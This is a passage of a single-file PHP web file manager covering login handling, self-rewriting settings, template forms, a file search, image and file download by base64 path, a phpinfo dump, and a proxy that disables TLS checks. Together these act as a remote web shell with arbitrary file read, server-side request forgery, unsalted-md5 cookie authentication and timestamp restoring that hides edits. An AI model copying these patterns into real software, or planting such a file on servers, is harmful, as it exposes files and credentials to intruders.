	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
